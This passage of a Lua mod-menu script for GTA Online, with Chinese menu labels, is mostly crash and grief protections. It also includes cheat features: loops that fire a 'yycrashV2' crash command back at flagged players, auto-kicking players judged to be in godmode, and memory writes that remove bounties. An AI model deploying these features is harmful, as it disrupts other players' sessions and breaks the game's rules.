        if players.is_marked_as_attacker(pid,1 << 0x03) or players.is_marked_as_attacker(pid,1 << 0x04) or players.is_marked_as_attacker(pid,1 << 0x05) or players.is_marked_as_attacker(pid,1 << 0x0C) or players.is_marked_as_attacker(pid,1 << 0x0D) or players.is_marked_as_attacker(pid,1 << 0x0E) then
            chat.send_message(PLAYER.GET_PLAYER_NAME(pid)..cuteanti,false,true,true)
                break
            end
        end

end)

anti_crash = GT(protex, "崩溃保护")

GTLP(anti_crash, "攻击反弹V1", {"crashrebound"}, "", function()
    for _, pid in ipairs(players.list(false, true, true)) do
        if players.is_marked_as_attacker(pid,1 << 0x03) or players.is_marked_as_attacker(pid,1 << 0x04) or players.is_marked_as_attacker(pid,1 << 0x05) or players.is_marked_as_attacker(pid,1 << 0x0C) or players.is_marked_as_attacker(pid,1 << 0x0D) or players.is_marked_as_attacker(pid,1 << 0x0E) then
            menu.trigger_commands("yycrashV2") 
                break
            end
        end

end)

GTLP(anti_crash, "攻击反弹V2", {"crashrebound2"}, "", function()
        _U_hack_list={}
        while true do
        wait(0)
        for pid=0,31 do
        if pid~= PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PlayerID) then
        if players.is_marked_as_attacker(pid,1 << 0x03) or players.is_marked_as_attacker(pid,1 << 0x04) or players.is_marked_as_attacker(pid,1 << 0x05) or players.is_marked_as_attacker(pid,1 << 0x0C) or players.is_marked_as_attacker(pid,1 << 0x0D) or players.is_marked_as_attacker(pid,1 << 0x0E) then
        if not _U_hack_list[pid+1] then
        menu.trigger_commands("yycrashV2") 
        _U_hack_list[pid+1]=true
        end
        else
            _U_hack_list[pid+1]=false
                end
            end
        end
    end
end)

GTTG(anti_crash, "阻止崩溃", {}, "", function(on_toggle)
    local pos = ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(players.user()))
    local ped = PLAYER.GET_PLAYER_PED(players.user())
    if on_toggle then
        wait(300)
        ENTITY.SET_ENTITY_COORDS(ped, 25.030561, 7640.8735, 17.831139, 1, false)
        wait(600)
        menu.trigger_commands("potatomode on")
        menu.trigger_commands("anticrashcamera on")
        menu.trigger_commands("trafficpotato on")
        wait(2000)
    else        
        menu.trigger_commands("potatomode off")
        menu.trigger_commands("anticrashcamera off")
        menu.trigger_commands("trafficpotato off")
        wait(800)
        ENTITY.SET_ENTITY_COORDS(ped, pos.x, pos.y, pos.z, false)
        wait(500)
    end
end)

GTLP(anti_crash, "阻止克隆", {""}, "", function()
    for i, ped in ipairs(entities.get_all_peds_as_handles()) do
    if ENTITY.GET_ENTITY_MODEL(ped) == ENTITY.GET_ENTITY_MODEL(players.user_ped()) and not PED.IS_PED_A_PLAYER(ped) and not util.is_session_transition_active() then
        util.toast("检测到克隆模型。清除中......")
        entities.delete_by_handle(ped)
        wait(100)
    end
    end
end)

GTLP(anti_crash, "阻止实体生成", {"antient"}, "请谨慎使用\n此功能为侵入性功能\n阻止所有实体的生成", function(on_loop)
    local ct = 0
    for k,ent in pairs(entities.get_all_vehicles_as_handles()) do
        ENTITY.SET_ENTITY_AS_MISSION_ENTITY(ent, false, false)
        entities.delete_by_handle(ent)

        ct = ct + 1
    end
    for k,ent in pairs(entities.get_all_peds_as_handles()) do
        if not PED.IS_PED_A_PLAYER(ent) then
            ENTITY.SET_ENTITY_AS_MISSION_ENTITY(ent, false, false)
            entities.delete_by_handle(ent)

        end
        ct = ct + 1
    end
    for k,ent in pairs(entities.get_all_objects_as_handles()) do
        if ent ~= PLAYER.PLAYER_PED_ID() then
            ENTITY.SET_ENTITY_AS_MISSION_ENTITY(ent, false, false)
            entities.delete_by_handle(ent)
            ct = ct + 1
        end
    end
        for k,ent in pairs(entities.get_all_pickups_as_handles()) do
            ENTITY.SET_ENTITY_AS_MISSION_ENTITY(ent, false, false)
            entities.delete_by_handle(ent)
            wait()
        return
    end
end)

GTAC(anti_crash, "关闭所有声音", {""}, "强制停止所有声音事件", function()
		for i=-1,100 do
			AUDIO.STOP_SOUND(i)
			AUDIO.RELEASE_SOUND_ID(i)
		end
	end)

GTAC(anti_crash, "删除手机铃声", {}, "让手机不再响铃", function()
    local player = PLAYER.PLAYER_PED_ID()
    menu.trigger_commands("nophonespam on")
    if AUDIO.IS_PED_RINGTONE_PLAYING(player) then
        for i = -1, 100 do
            AUDIO.STOP_PED_RINGTONE(i)
            AUDIO.RELEASE_SOUND_ID(i)
        end

    end
    wait(1000)
    menu.trigger_commands("nophonespam off")
end)
    anti_other = GT(protex, "其他保护")
    local admin_bail = true
    GTTG(anti_other, "管理员退出", {"adminbail"}, "当GTAV管理员加入自动退出战局", function(on)
        admin_bail = on
        while admin_bail do
            if util.is_session_started() then
                for _, pid in players.list(false, true, true) do 
                    if players.is_marked_as_admin(pid) then 
                        notify("检测到管理员！快跑！.")
                        menu.trigger_commands("quickbail")
                    end    
                end
            end
            wait()
        end
    end, false)

GTLP(anti_other, "阻止入侵载具", {}, "此选项对玩家以及NPC均起效", function()
    if not (veh == 0) then
        plyseat = 0
        for i = -1, 30 do
            if (VEHICLE.GET_PED_IN_VEHICLE_SEAT(veh, i) == plyped()) then
                plyseat = i
            end
        end
        if PED.IS_PED_BEING_JACKED(plyped()) then
            PED.SET_PED_INTO_VEHICLE(plyped(), veh, plyseat)
        end
    end
end)

local kick_time = 0
GTLP(anti_other, "自动踢出无敌玩家", {""}, "", function()
    for players.list(false, false, true) as pid do
        local ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
        local old_pos = players.get_position(pid)
        wait(100)
        local cur_pos = players.get_position(pid)
        for interior_stuff as id do
            if players.is_godmode(pid) and not players.is_in_interior(pid) and not NETWORK.NETWORK_IS_PLAYER_FADING(pid) and ENTITY.IS_ENTITY_VISIBLE(ped) and GetSpawnState(pid) == 99 and GetInteriorPlayerIsIn(pid) == id and old_pos ~= cur_pos then
                kick_time += 1
                wait(5000)
                if kick_time >= 3 then
                    menu.trigger_commands("kick" .. players.get_name(pid))
                    repeat
                        wait()
                    until pid ~= nil
                    util.toast("成功移除了 " .. players.get_name(pid) .. " 因为他是无敌玩家")
                    kick_time = 0
                end
            end
        end
    end 
end, function()
end)

block_blaming = menu.ref_by_path("Online>Protections>Block Blaming")
GTLP(anti_other, "阻止玩家对您射击", {""}, "阻止战局玩家使用枪械对您射击", function()
    for players.list(false, true, true) as pid do
        local ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
        if WEAPON.IS_PED_ARMED(ped, 7) or TASK.GET_IS_TASK_ACTIVE(ped, 199) or TASK.GET_IS_TASK_ACTIVE(ped, 128) then
            block_blaming.value = true
        else
            block_blaming.value = false
        end
    end
end, function()
block_blaming.value = false
end)

GTAC(anti_crash, "超级清除", {"superclear"}, "", function()
    removeanything()
end)

GTLP(anti_crash, "连续清除", {""}, "", function()
    MISC.CLEAR_AREA(0,0,0 , 1000000, true, true, true, true)
end)

GTAC(anti_crash, "清除自身", {}, "", function()
if PED.IS_PED_MALE(PLAYER.PLAYER_PED_ID()) then
    menu.trigger_commands("mpmale")
else
    menu.trigger_commands("mpfemale")
end
end)

GTLuaScript.list_action(anti_crash, "定向清除", {}, "", {"NPC", "载具", "物体", "可拾取物体", "货车", "发射物", "声音"}, function(index, name)
    clearall(index, name)
end)

local orb = GT(protex, "反天基炮")
local ghost = GT(orb, "幽灵模式")
ghost_tgl = GTLP(ghost, "幽灵模式", {"ghostorb"}, "检测到玩家正在使用天基炮后自动开启幽灵模式", function()
    for _, pid in ipairs(players.list(false, true, true)) do
        local ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
        local cam_pos = players.get_cam_pos(pid)
        if IsPlayerUsingOrbitalCannon(pid) and TASK.GET_IS_TASK_ACTIVE(ped, 135)
        and v3.distance(ENTITY.GET_ENTITY_COORDS(players.user_ped(), false), cam_pos) < 400
        and v3.distance(ENTITY.GET_ENTITY_COORDS(players.user_ped(), false), cam_pos) > 340 then
            util.toast(players.get_name(pid) .. " 天基炮正在瞄准你")
        end
       if IsPlayerUsingOrbitalCannon(pid) then
            NETWORK.SET_REMOTE_PLAYER_AS_GHOST(pid, true)
        else
            NETWORK.SET_REMOTE_PLAYER_AS_GHOST(pid, false)
        end
    end
end, function()
    for _, pid in ipairs(players.list(false, true, true)) do
        NETWORK.SET_REMOTE_PLAYER_AS_GHOST(pid, false)
    end
end)

GTLP(anti_other, "阻止观看同步", {}, "阻止所有观看您的人同步\n这将造成偷窥者视角无效", function()
    for _, pid in players.list(false, true, true) do
        if players.exists(pid) then
            if v3.distance(players.get_position(players.user()), players.get_cam_pos(pid)) < 15.0 then
                outgoingSyncs = menu.ref_by_rel_path(menu.player_root(pid), "Outgoing Syncs>Block")
                outgoingSyncs.value = true
                pos = players.get_position(players.user())
                if v3.distance(pos, players.get_cam_pos(pid)) < 25.0 then
                    repeat 
                        wait()
                    until v3.distance(pos, players.get_cam_pos(pid)) > 25.0 
                    outgoingSyncs.value = false
                end
            end
        end
    end
end)

GTLP(ghost, "被锁定时", {}, "检测到玩家使用天基跑瞄准你时自动开启幽灵模式", function()
    if menu.get_value(ghost_tgl) then
        menu.set_value(tgl, false)
    return end
    for _, pid in ipairs(players.list(false, true, true)) do
        local ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
        local cam_pos = players.get_cam_pos(pid)
        if IsPlayerUsingOrbitalCannon(pid) and TASK.GET_IS_TASK_ACTIVE(ped, 135) 
        and v3.distance(ENTITY.GET_ENTITY_COORDS(players.user_ped(), false), cam_pos) < 400
        and v3.distance(ENTITY.GET_ENTITY_COORDS(players.user_ped(), false), cam_pos) > 340 then
            util.toast(players.get_name(pid) .. " Is targeting you with the orbital cannon")
            NETWORK.SET_REMOTE_PLAYER_AS_GHOST(pid, true)
        end
    end
end, function()
    for _, pid in ipairs(players.list(false, true, true)) do
        NETWORK.SET_REMOTE_PLAYER_AS_GHOST(pid, false)
    end
end)

annoy = GT(orb, "防御模式", {}, "快速显示你的名字并将其从目标玩家天基炮选择列表中删除.")
orb_delay = 1000
GTLuaScript.list_select(annoy, "延迟", {}, "基于正在使用天基炮玩家,您的id会以何种数值闪烁", {"慢速", "中速", "快速"}, 1, function(index, value)
switch value do
    case "慢速":
        orb_delay = 1000
        break
    case "中速":
        orb_delay = 500
        break
    case "快速":
        orb_delay = 100
        break
    end
end)

local annoy_tgl
annoy_tgl = GTLP(annoy, "启用", {}, "", function()
    if menu.get_value(ghost_tgl) then
        menu.set_value(annoy_tgl, false)
        util.toast("请不要同时启用防御模式和幽灵模式 ;)")
    return end
    
    for _, pid in ipairs(players.list(false, true, true)) do
       if IsPlayerUsingOrbitalCannon(pid) then
            NETWORK.SET_REMOTE_PLAYER_AS_GHOST(pid, true)
            wait(orb_delay)
            NETWORK.SET_REMOTE_PLAYER_AS_GHOST(pid, false)
            wait(orb_delay)
        else
            NETWORK.SET_REMOTE_PLAYER_AS_GHOST(pid, false)
        end
    end
end, function()
    for _, pid in ipairs(players.list(false, true, true)) do
        NETWORK.SET_REMOTE_PLAYER_AS_GHOST(pid, false)
    end
end)

    ped_limit = 175

    GTluaScript.slider(pool_limiter, "Ped池限制", {"pedslimit"}, "默认为175", 0, 256, 175, 1, function(amount)

        ped_limit = amount

    end)

    

    veh_limit = 150

    GTluaScript.slider(pool_limiter, "载具池限制", {"vehlimit"}, "默认为150", 0, 300, 150, 1, function(amount)

        veh_limit = amount

    end)

    

    obj_limit = 500

    GTluaScript.slider(pool_limiter, "物体池限制", {"objlimit"}, "默认为500", 0, 2300, 500, 1, function(amount)

        obj_limit = amount

    end)

    

    projectile_limit = 25

    GTluaScript.slider(pool_limiter, "投掷物池限制", {"projlimit"}, "默认为25", 0, 50, 25, 1, function(amount)

        projectile_limit = amount

    end)

    

    GTLP(pool_limiter, "启用实体池限制", {}, "", function()
        entity_limit()
    end)

    GTLP(block_effect, "拦截粒子效果", {}, "", function()
        blockcrasheffect()
    end)
    
    GTLP(block_effect, "拦截火焰效果", {}, "", function()
        blockfireeffect()
    end)

    GTLP(anti_other, "阻止变成野兽", {}, "防止您被变成野兽\n但同时会阻止其他玩家的战局事件", function()
        antianimal()
    end)

    GTLP(anti_other, "阻止交易错误 ", {}, "阻止战局玩家利用破坏车辆的方式让您出现交易错误", function()
    if util.spoof_script("am_destroy_veh", SCRIPT.TERMINATE_THIS_THREAD) then
        util.toast("检测到破坏车辆脚本。阻止了该脚本功能继续进行...")
    end
end)

GTLP(anti_other, "自动移除赏金", {}, "", function()
    if util.is_session_started() then
        if memory.read_int(memory.script_global(1835502 + 4 + 1 + (players.user() * 3))) == 1 then
            memory.write_int(memory.script_global(2815059 + 1856 + 17), -1)
            memory.write_int(memory.script_global(2359296 + 1 + 5149 + 13), 2880000)
            notify(translations.removed_bounty ..memory.read_int(memory.script_global(1835502 + 4 + 1 + (players.user() * 3) + 1)).. " ")
        end
    end
    wait(5000)
end)

orb_cannon_prop = nil
block_orb_cannon = fase
GTLP(anti_other, "阻止天基炮", {}, "", function(on)
    block_orb_cannon = on
    while true do 
        if not block_orb_cannon then 
            if orb_cannon_prop ~= nil then 
                entities.delete_by_handle(orb_cannon_prop)
            end
            break
        end
        if orb_cannon_prop == nil or not ENTITY.DOES_ENTITY_EXIST(orb_cannon_prop) then
            local hash = util.joaat("h4_prop_h4_garage_door_01a")
            request_model_load(hash)
            orb_cannon_prop = entities.create_object(hash, {x=0, y=0, z=0})
            ENTITY.SET_ENTITY_HEADING(orb_cannon_prop, 125)
            ENTITY.SET_ENTITY_COORDS(orb_cannon_prop, 335.8, 4833.9, -59)
            ENTITY.FREEZE_ENTITY_POSITION(orb_cannon_prop, true)
        end
        wait()
    end
end)

    GTLP(anti_other, "友好的AI", {""}, "AI不会瞄准你", function()
    PED.SET_PED_RESET_FLAG(players.user_ped(), 124, true)
    end)
    anti_veh = GT(protex, "载具反制")
	oppressor_kick_players = false
	GTTG(anti_veh, "反MK2", {"antioppressor"}, "", function(on)
		oppressor_kick_players = on
	end, false)

	target_self = false
	GTTG(anti_veh, "自我目标", {"targetselfmk2"}, "反制同时针对您自己的MK2", function(on)
		target_self = on
	end, false)

	target_friends = false
	GTTG(anti_veh, "好友目标", {"targetfriendsmk2"}, "反制同时针对您的好友", function(on)
		target_friends = on
	end, false)
    
	lazer_kick_players = false
	GTTG(anti_veh, "防天煞", {"antilazer"}, "", function(on)
		lazer_kick_players = on
	end, false)

    kosatka_kick_players = false
	GTTG(anti_veh, "防虎鲸", {"antikosatka"}, "", function(on)
		kosatka_kick_players = on
	end, false)

    hydra_kick_players = false
	GTTG(anti_veh, "防九头蛇", {"antihydra"}, "", function(on)
		hydra_kick_players = on
	end, false)

    khanjali_kick_players = false
	GTTG(anti_veh, "反可汗贾利坦克", {"antikhanjali"}, "", function(on)
		khanjali_kick_players = on
	end, false)

    GTLP(anti_other, "防止笼子", {"anticage"}, "请不要在任务中开启", function()
        anticage()
    end)

    	lock_vehicle = false
	GTTG(anti_other, "锁定载具", {"lockmk2"}, "永久锁定车辆，以防止进一步使用", function(on)
		lock_vehicle = on
	end, false)

	GTTG(block_event_anthing, "阻止网络事件", {}, "阻止网络事件传输", function(on_toggle)
        blocknetwork(on_toggle)  
	end)

	GTTG(block_event_anthing, "阻止传入", {}, "阻止网络事件传入", function(on_toggle)
        blockincoming(on_toggle)
	end)

	GTTG(block_event_anthing, "阻止传出", {}, "阻止网络事件传出", function(on_toggle)
        blockout(on_toggle)
	end)

    GTLP(block_event_anthing, "禁用阻止实体轰炸", {}, "开启任务后将自动禁用\n以避免影响任务的进行/运行", function()
    local EntitySpam = GTluaScript.ref_by_path("Online>Protections>Block Entity Spam>Block Entity Spam")
    if NETWORK.NETWORK_IS_ACTIVITY_SESSION() == true then
        if not GTluaScript.get_value(EntitySpam) then return end
        GTluaScript.trigger_command(EntitySpam, "off")
    else
        if GTluaScript.get_value(EntitySpam) then return end
        GTluaScript.trigger_command(EntitySpam, "on")
    end
end)

	GTTG(protex, "防崩镜头", {""}, "", function(on_toggle)
		if on_toggle then
			notification("开启防崩镜头", colors.green)
			menu.trigger_commands("anticrashcam on")
			menu.trigger_commands("potatomode on")
		else
			notification("Toggling anticrashcam off...", colors.red)
			menu.trigger_commands("anticrashcam off")
			menu.trigger_commands("potatomode off")
		end
	end)

	GTTG(protex, "自闭模式", {"autism"}, "", function(on_toggle)
        chickenmode(on_toggle)
	end)

    action_lua = GT(funfeatures, "动作选项", {}, "", function(); end)
    require "lib.GTSCRIPTS.A"

    jingche = GT(funfeatures, "警车选项", {}, "警车延伸功能", function(); end)
    require "lib.GTSCRIPTS.J"

    heidong = GT(funfeatures, "黑洞选项")
    dont_stop = false
	GTLP(heidong,"载具黑洞", {"vehicleblackhole"}, "", function(on)
		for k, veh in pairs(entities.get_all_vehicles_as_handles()) do
			local PedInSeat = VEHICLE.GET_PED_IN_VEHICLE_SEAT(veh, -1, false)
			local locspeed2 = speed
        			local holecoords = ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid), true)
			if not PED.IS_PED_A_PLAYER(PedInSeat) then
				NETWORK.NETWORK_REQUEST_CONTROL_OF_ENTITY(veh)
	      ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(bh_target), true)
                        vcoords = ENTITY.GET_ENTITY_COORDS(veh, true)
                        speed = 100
                        local x_vec = (holecoords['x']-vcoords['x'])*speed
                        local y_vec = (holecoords['y']-vcoords['y'])*speed
                        local z_vec = ((holecoords['z']+hole_zoff)-vcoords['z'])*speed
                        ENTITY.SET_ENTITY_INVINCIBLE(veh, true)
                        ENTITY.APPLY_FORCE_TO_ENTITY_CENTER_OF_MASS(veh, 1, x_vec, y_vec, z_vec, true, false, true, true)
				if not dont_stop and not PAD.IS_CONTROL_PRESSED(2, 71) and not PAD.IS_CONTROL_PRESSED(2, 72) then
					VEHICLE.SET_VEHICLE_FORWARD_SPEED(veh, 0.0);
				end
			end
		end
	end)

    GTLP(heidong,"载具原地打转", {"spinbotveh"}, "", function()
        for k, veh in pairs(entities.get_all_vehicles_as_handles()) do
            local PedInSeat = VEHICLE.GET_PED_IN_VEHICLE_SEAT(veh, -1, true)
            if not PED.IS_PED_A_PLAYER(PedInSeat) then
                NETWORK.NETWORK_REQUEST_CONTROL_OF_ENTITY(veh)
                local velocity = ENTITY.GET_ENTITY_VELOCITY(veh)
                local height = ENTITY.GET_ENTITY_HEIGHT_ABOVE_GROUND(veh)
                if veh ~= 0 and not PED.IS_PED_DEAD_OR_DYING(PedInSeat, veh) and NETWORK.NETWORK_HAS_CONTROL_OF_ENTITY(PedInSeat, veh) then
                    ENTITY.APPLY_FORCE_TO_ENTITY(veh, 5, 0, 0, 150.0, 0, 0, 0, 0, true, false, true, false, true)
                end
            end
        end
    end)

    GTLP(heidong,"NPC黑洞", {"pedblackhole"}, "", function(on)
		for k, veh in pairs(entities.get_all_peds_as_handles()) do
			local PedInSeat = VEHICLE.GET_PED_IN_VEHICLE_SEAT(veh, -1, false)
			local locspeed2 = speed
        			local holecoords = ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid), true)
			if not PED.IS_PED_A_PLAYER(PedInSeat) then
				NETWORK.NETWORK_REQUEST_CONTROL_OF_ENTITY(veh)
	      ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(bh_target), true)
                        vcoords = ENTITY.GET_ENTITY_COORDS(veh, true)
                        speed = 100
                        local x_vec = (holecoords['x']-vcoords['x'])*speed
                        local y_vec = (holecoords['y']-vcoords['y'])*speed
                        local z_vec = ((holecoords['z']+hole_zoff)-vcoords['z'])*speed
                        ENTITY.SET_ENTITY_INVINCIBLE(veh, true)
                        ENTITY.APPLY_FORCE_TO_ENTITY_CENTER_OF_MASS(veh, 1, x_vec, y_vec, z_vec, true, false, true, true)
				if not dont_stop and not PAD.IS_CONTROL_PRESSED(2, 71) and not PAD.IS_CONTROL_PRESSED(2, 72) then
					VEHICLE.SET_VEHICLE_FORWARD_SPEED(veh, 0.0);
				end
			end
		end
	end)

    GTLP(heidong,"物体黑洞", {"objectblackhole"}, "", function(on)
		for k, veh in pairs(entities.get_all_objects_as_handles()) do
			local PedInSeat = VEHICLE.GET_PED_IN_VEHICLE_SEAT(veh, -1, false)
			local locspeed2 = speed
        			local holecoords = ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid), true)
			if not PED.IS_PED_A_PLAYER(PedInSeat) then
				NETWORK.NETWORK_REQUEST_CONTROL_OF_ENTITY(veh)
	      ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(bh_target), true)
                        vcoords = ENTITY.GET_ENTITY_COORDS(veh, true)
                        speed = 100
                        local x_vec = (holecoords['x']-vcoords['x'])*speed
                        local y_vec = (holecoords['y']-vcoords['y'])*speed
                        local z_vec = ((holecoords['z']+hole_zoff)-vcoords['z'])*speed
                        ENTITY.SET_ENTITY_INVINCIBLE(veh, true)
                        ENTITY.APPLY_FORCE_TO_ENTITY_CENTER_OF_MASS(veh, 1, x_vec, y_vec, z_vec, true, false, true, true)
				if not dont_stop and not PAD.IS_CONTROL_PRESSED(2, 71) and not PAD.IS_CONTROL_PRESSED(2, 72) then
					VEHICLE.SET_VEHICLE_FORWARD_SPEED(veh, 0.0);
				end
			end
		end
	end)

	hole_zoff = 50
    	GTluaScript.slider(heidong, "黑洞Z偏移", {"blackholeoffset"}, "", 0, 100, 50, 10, function(s)
    	hole_zoff = s
	end)

    Blackhole = GT(heidong, "黑洞", {}, "黑洞延伸功能;可自定义位置或在玩家选项中附加玩家", function(); end)
    Load_Blackhole = GTAC(Blackhole, "加载黑洞选项", {""}, "", function()
    notification("正在加载黑洞脚本,请稍等",colors.red)
    wait(2000)
    require "lib.GTSCRIPTS.B"
    GTluaScript.delete(Load_Blackhole)
    end)
    local num = {
    "1",
    "2",
    "3",
    "4",
    "5",
    "6",
    "7",
    "8",
    "9",
    "10",
    "11",
    "12",
    "13",
    "14",
    "15",
    "16",
    "17",
    "18",
    "19",
    "20",
    "21",
    "22",
    "23",
    "24",
    "25",
    "26",
    "27",
    "28",
    "29",
    "30",
    "31",
    "32",
    "33",
    "34",
    "35"
}    
    GTTG(funfeatures, "特斯拉自动驾驶", {}, "", function(toggled)
            local player = players.user_ped()
            local playerpos = ENTITY.GET_ENTITY_COORDS(player, false)
            local tesla_ai = util.joaat("u_m_y_baygor")
            local tesla = util.joaat("raiden")
            request_model(tesla_ai)
            request_model(tesla)
            if toggled then     
                if PED.IS_PED_IN_ANY_VEHICLE(player, true) then
                    menu.trigger_commands("deletevehicle")
                end
        
                tesla_ai_ped = entities.create_ped(26, tesla_ai, playerpos, 0)
                tesla_vehicle = entities.create_vehicle(tesla, playerpos, 0)
                ENTITY.SET_ENTITY_INVINCIBLE(tesla_ai_ped, true)
                ENTITY.SET_ENTITY_VISIBLE(tesla_ai_ped, false)
                PED.SET_BLOCKING_OF_NON_TEMPORARY_EVENTS(tesla_ai_ped, true)
                PED.SET_PED_INTO_VEHICLE(player, tesla_vehicle, -2)
                PED.SET_PED_INTO_VEHICLE(tesla_ai_ped, tesla_vehicle, -1)
                PED.SET_PED_KEEP_TASK(tesla_ai_ped, true)
                VEHICLE.SET_VEHICLE_COLOURS(tesla_vehicle, 111, 111)
                VEHICLE.SET_VEHICLE_MOD(tesla_vehicle, 23, 8, false)
                VEHICLE.SET_VEHICLE_MOD(tesla_vehicle, 15, 1, false)
                VEHICLE.SET_VEHICLE_EXTRA_COLOURS(tesla_vehicle, 111, 147)
                menu.trigger_commands("performance")
        
                if HUD.IS_WAYPOINT_ACTIVE() then
                    local pos = HUD.GET_BLIP_COORDS(HUD.GET_FIRST_BLIP_INFO_ID(8))
                    TASK.TASK_VEHICLE_DRIVE_TO_COORD_LONGRANGE(tesla_ai_ped, tesla_vehicle, pos.x, pos.y, pos.z, 20, 786603, 0)
                else
                    TASK.TASK_VEHICLE_DRIVE_WANDER(tesla_ai_ped, tesla_vehicle, 20, 786603)
                end
            else
                if tesla_ai_ped ~= nil then 
                    entities.delete_by_handle(tesla_ai_ped)
                end
                if tesla_vehicle ~= nil then 
                    entities.delete_by_handle(tesla_vehicle)
                end
            end
    end)

GTACR(funfeatures, "UFO", {"ufo"}, "#超好玩滴延伸功能\n驾驶UFO在战局中穿梭,并且拥有特殊功能(天基炮/牵引吸附)", {"外星UF0", "军用UFO"}, function (index)
	local obj = ufomodels[index]
	UFO.setObjModel(obj)
	if not (GuidedMissile.exists() or UFO.exists()) then UFO.create() end
end)

    GTTG(funfeatures, "驾驶UFO", {"driveufo"}, "", function(on_toggle)
        if on_toggle then
        local vehicleHash = util.joaat("hydra")
        request_model(vehicleHash)
        local pos = ENTITY.GET_ENTITY_COORDS(PLAYER.PLAYER_PED_ID(), false)
        ufo = entities.create_vehicle(vehicleHash, pos, CAM.GET_GAMEPLAY_CAM_ROT(0).z)
        ENTITY.SET_ENTITY_VISIBLE(ufo, false, false)
        ENTITY.SET_ENTITY_VISIBLE(players.user_ped(), false, true)
        VEHICLE.SET_VEHICLE_ENGINE_ON(ufo, true, true, true)
        ENTITY.SET_ENTITY_INVINCIBLE(ufo, true)
        VEHICLE.SET_PLANE_TURBULENCE_MULTIPLIER(ufo, 0.0)
        local id = get_closest_vehicle(entity)
        local playerpos = ENTITY.GET_ENTITY_COORDS(id)
        playerpos.z = playerpos.z + 3
        local ufo_object = util.joaat("sum_prop_dufocore_01a")
        STREAMING.REQUEST_MODEL(ufo_object)
        while not STREAMING.HAS_MODEL_LOADED(ufo_object) do
            wait()
        end
        local object1 = entities.create_object(ufo_object, ENTITY.GET_OFFSET_FROM_ENTITY_IN_WORLD_COORDS(PLAYER.GET_PLAYER_PED(pid), 0, 2, 3), ENTITY.GET_ENTITY_HEADING(id))
        ENTITY.ATTACH_ENTITY_TO_ENTITY(object1, ufo, playerpos, 0, 0, 0, 0, 0, 0, 0, 0, true, true, false, 0, true)
        NETWORK.NETWORK_REQUEST_CONTROL_OF_ENTITY(object1, ufo)
        ENTITY.ATTACH_ENTITY_TO_ENTITY(ufo, object1, 0, 0, 3, 0, 0, 0, 0, 0, false, true, false, 0, true)
        ENTITY.ATTACH_ENTITY_TO_ENTITY(object1, ufo, 0, 0, 3, 0, 0, 0, 0, 0, false, true, false, 0, true)
        ENTITY.SET_ENTITY_COORDS_NO_OFFSET(ufo, pos.x, pos.y, pos.z + 200, false, false, true)
        PED.SET_PED_INTO_VEHICLE(PLAYER.PLAYER_PED_ID(), ufo, -1)
        ENTITY.SET_ENTITY_VISIBLE(object1, true)
        menu.trigger_commands("otr" .. " on")
        menu.trigger_commands("cameradistance" .. " 1.80")
        DisablePhone()
    else
        ENTITY.SET_ENTITY_VISIBLE(players.user_ped(), true, true)
        menu.trigger_commands("otr" .. " off")
        menu.trigger_commands("cameradistance" .. " 1.00")
        menu.trigger_commands("deleteveh")
        for i, object in ipairs(entities.get_all_objects_as_handles()) do
            if ENTITY.DOES_ENTITY_EXIST(object, util.joaat("sum_prop_dufocore_01a")) then
            entities.delete_by_handle(object)
            wait()
            end
        end
    end
end)

    GTTG(funfeatures, "超速UFO", {"superufo"}, "", function(on_toggle)
        if on_toggle then
            menu.trigger_commands("speedlimit" .. " 10000")
            menu.trigger_commands("superdrivespeed" .. " 1000")
            menu.trigger_commands("superdrive")
            menu.trigger_commands("superhandbreak")
            menu.trigger_commands("driveufo")
        else
            menu.trigger_commands("superdrivespeed" .. " 3.00")
            menu.trigger_commands("superdrive")
            menu.trigger_commands("superhandbreak")
            menu.trigger_commands("driveufo")
        end
    end)

    GTTG(funfeatures, "特警队直升机", {"copheli"}, "", function(on_toggle)
        if on_toggle then
            menu.trigger_commands("bodyguardmodel S_M_Y_Swat_01")
            menu.trigger_commands("bodyguardcount 3")
            menu.trigger_commands("bodyguardweapon smg")
            menu.trigger_commands("spawnbodyguards")
            menu.trigger_commands("smyswat01")
            menu.trigger_commands("undead")
            menu.trigger_commands("otr")
            local Imortality_BodyGuards = menu.ref_by_path("Self>Bodyguards>Immortality")
            wait(300)
            menu.trigger_command(Imortality_BodyGuards)
            util.toast("给直升机让路.")
            wait(3000)
            local vehicleHash = util.joaat("polmav")
            request_model(vehicleHash)
            local pos = ENTITY.GET_ENTITY_COORDS(PLAYER.PLAYER_PED_ID(), false)
            copheli = entities.create_vehicle(vehicleHash, pos, CAM.GET_GAMEPLAY_CAM_ROT(0).z)
            VEHICLE.SET_VEHICLE_ENGINE_ON(copheli, true, true, true)
            ENTITY.SET_ENTITY_INVINCIBLE(copheli, true)
            VEHICLE.SET_PLANE_TURBULENCE_MULTIPLIER(copheli, 0.0)
            local id = get_closest_vehicle(entity)
            local playerpos = ENTITY.GET_ENTITY_COORDS(id)
            playerpos.z = playerpos.z + 3
            ENTITY.SET_ENTITY_COORDS_NO_OFFSET(copheli, pos.x, pos.y, pos.z, false, false, true)
            PED.SET_PED_INTO_VEHICLE(PLAYER.PLAYER_PED_ID(), copheli, -1)
            wait(1500)
            menu.trigger_commands("livery -1")
        else
            local Imortality_BodyGuards = menu.ref_by_path("Self>Bodyguards>Immortality")
            menu.trigger_command(Imortality_BodyGuards)
            menu.trigger_commands("delbodyguards")
            menu.trigger_commands("deletevehicle")
            menu.trigger_commands("mpfemale")
            menu.trigger_commands("undead")
            menu.trigger_commands("otr")
            util.toast("已恢复自己")
        end
    end)


    GTTG(funfeatures, "特警队车辆", {"copcar"}, "", function(on_toggle)
        if on_toggle then
            menu.trigger_commands("bodyguardmodel S_M_Y_Cop_01")
